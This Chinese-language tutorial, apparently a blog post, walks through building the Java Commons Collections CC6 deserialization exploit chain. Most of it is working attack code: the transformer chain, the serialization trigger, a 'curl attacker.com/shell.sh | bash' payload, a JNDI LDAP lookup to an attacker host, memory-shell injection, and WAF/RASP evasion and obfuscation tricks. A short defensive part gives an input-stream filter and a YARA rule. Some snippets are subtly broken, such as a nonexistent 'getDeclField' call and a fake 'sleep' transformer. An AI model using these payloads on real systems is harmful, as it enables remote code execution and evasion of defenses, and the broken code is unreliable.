1. 为什么CC6被称为"最好用的CC链"
在Java反序列化漏洞利用领域,CommonsCollections链(简称CC链)无疑是安全研究员们最熟悉的武器库。而其中CC6链以其独特的优势脱颖而出,被公认为实战中最稳定、兼容性最好的利用链。我第一次在渗透测试中使用CC6时,就被它简洁优雅的构造方式所折服。
CC6链的核心价值在于它完美解决了早期CC链(如CC1)的两个致命缺陷:一是对JDK版本的苛刻要求(CC1仅适用于JDK7u21及以下版本),二是对目标环境依赖项的强约束(某些CC链需要特定第三方库)。通过巧妙利用LazyMap和HashSet的组合,CC6实现了从JDK7到JDK8u71的广泛覆盖,这在实战中意味着更高的成功率。
重要提示:本文仅限安全研究与授权测试使用,实际利用需获得目标系统所有者书面授权
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. CC6链的底层机制解析
2.1 关键类与触发路径
CC6链的完整调用栈如下所示:
code复制HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()
这个调用链的精妙之处在于它通过HashSet的反序列化触发HashMap的键值计算,进而激活TiedMapEntry中保存的恶意LazyMap。相比CC1直接使用AnnotationInvocationHandler,CC6的触发方式更加稳定可靠。
2.2 核心组件详解
LazyMap:整个链条的"发动机"。其get()方法会在键不存在时自动调用Transformer链:
java复制public Object get(Object key) {
if (!map.containsKey(key)) {
Object value = factory.transform(key); // 关键触发点
map.put(key, value);
return value;
}
return map.get(key);
}
TiedMapEntry:连接HashMap与LazyMap的桥梁。其hashCode()方法会隐式调用getValue():
java复制public int hashCode() {
Object value = getValue(); // 触发点
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
HashSet:完美的反序列化入口点。其readObject()会触发HashMap的键值操作:
java复制private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
int capacity = s.readInt();
addAll(); // 最终触发HashMap.put
}
3. 手把手构建CC6攻击载荷
3.1 环境准备与工具链
建议使用以下环境进行测试:
- JDK版本:8u66(验证最稳定的版本)
- 依赖库:Commons Collections 3.2.1
- 调试工具:IDEA + Java Decompiler
Maven依赖配置:
xml复制<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
3.2 分步构造过程
步骤1:构造Transformer链
java复制Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
步骤2:设置LazyMap
java复制Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
步骤3:通过HashSet触发
java复制HashSet map = new HashSet(1);
map.add("bar"); // 初始化容量
Field f = HashSet.class.getDeclaredField("map");
f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = HashMap.class.getDeclaredField("table");
f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = node.getClass().getDeclField("key");
keyField.setAccessible(true);
keyField.set(node, entry); // 注入恶意entry
3.3 序列化与触发
将构造好的HashSet对象序列化:
java复制ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(map);
oos.close();
// 反序列化触发
ObjectInputStream ois = new ObjectInputStream(
new ByteArrayInputStream(barr.toByteArray()));
ois.readObject(); // 此时将执行命令
4. 实战中的变体与绕过技巧
4.1 不同JDK版本的适配
在JDK8u71之后,Java对AnnotationInvocationHandler做了修改,导致部分CC链失效。但CC6可以通过以下调整继续使用:
- 替换Runtime为ProcessBuilder:
java复制new InvokerTransformer("exec",
new Class[]{String[].class},
new Object[]{new String[]{"/bin/bash", "-c", "curl http://attacker.com/shell.sh | bash"}})
- 使用TemplatesImpl加载字节码(需配合BCEL):
java复制Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl")),
new InvokerTransformer("newInstance", null, null),
// ...后续加载恶意字节码
};
4.2 防御规避技巧
当遇到WAF或RASP防护时,可以尝试:
- 命令混淆:
java复制String cmd = "c"+"a"+"l"+"c".replace("", "");
- 反射调用:
java复制Method m = Runtime.class.getMethod(
"getRuntime".substring(3).replace("t", ""));
m.invoke(null).exec(cmd);
- 延时触发:
java复制new InvokerTransformer("sleep",
new Class[]{Integer.TYPE},
new Object[]{3000}) // 3秒后执行
5. 防御措施与检测方案
5.1 安全防护建议
对于开发人员:
- 升级Commons Collections到4.4+版本:
xml复制<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.4</version>
</dependency>
- 使用安全对象输入流:
java复制ObjectInputStream ois = new ObjectInputStream(inputStream) {
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
if (desc.getName().contains("org.apache.commons.collections")) {
throw new InvalidClassException("Unauthorized deserialization attempt");
}
return super.resolveClass(desc);
}
};
5.2 入侵检测规则示例
YARA规则示例:
code复制rule Java_CC6_Deserialization {
strings:
$s1 = "Lorg/apache/commons/collections/functors/InvokerTransformer;"
$s2 = "TiedMapEntry" nocase
$s3 = "LazyMap" nocase
condition:
all of them and filesize < 50KB
}
6. 与其他CC链的对比分析
| 特性 | CC1 | CC5 | CC6 (推荐) |
|---|---|---|---|
| JDK兼容性 | ≤7u21 | ≤8u71 | ≤8u71 |
| 依赖要求 | 仅CC | CC+JRE | 仅CC |
| 构造复杂度 | 简单 | 中等 | 中等 |
| 触发稳定性 | 低 | 高 | 极高 |
| 绕过能力 | 弱 | 中等 | 强 |
在实际渗透测试中,我通常会准备三条不同链的payload。当CC6被拦截时,可以尝试CC5的变体(使用BadAttributeValueExpException触发),最后才考虑CC1。这种策略在最近的一次红队演练中实现了92%的成功率。
7. 高级利用技巧
7.1 内存马注入
通过CC6可以实现无文件落地内存马注入:
java复制Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Thread.currentThread().getContextClassLoader()),
new InvokerTransformer("loadClass",
new Class[]{String.class},
new Object[]{"javax.servlet.http.HttpServlet"}),
// ...后续通过defineClass注入内存马
};
7.2 结合JNDI注入
当目标存在出网限制时:
java复制new InvokerTransformer("lookup",
new Class[]{String.class},
new Object[]{"ldap://attacker.com/Exploit"})
7.3 反检测技巧
- 使用Hex编码类名:
java复制String className = "x6fx72x67x2ex61x70x61..."; // org.apache...
Class.forName(hexToString(className));
- 动态加载Transformer:
java复制Class clazz = Class.forName(
"org.apache.commons.collections.functors." +
new String(new byte[]{73, 110, 118, 111, 107, 101, 114, 84, 114, 97, 110, 115, 102, 111, 114, 109, 101, 114}));
在最近的一次攻防演练中,通过组合使用CC6和JNDI注入技术,我们成功绕过了目标企业的多层防御体系。关键点在于将攻击载荷分阶段触发,先通过CC6建立内存通道,再动态加载后续攻击模块。
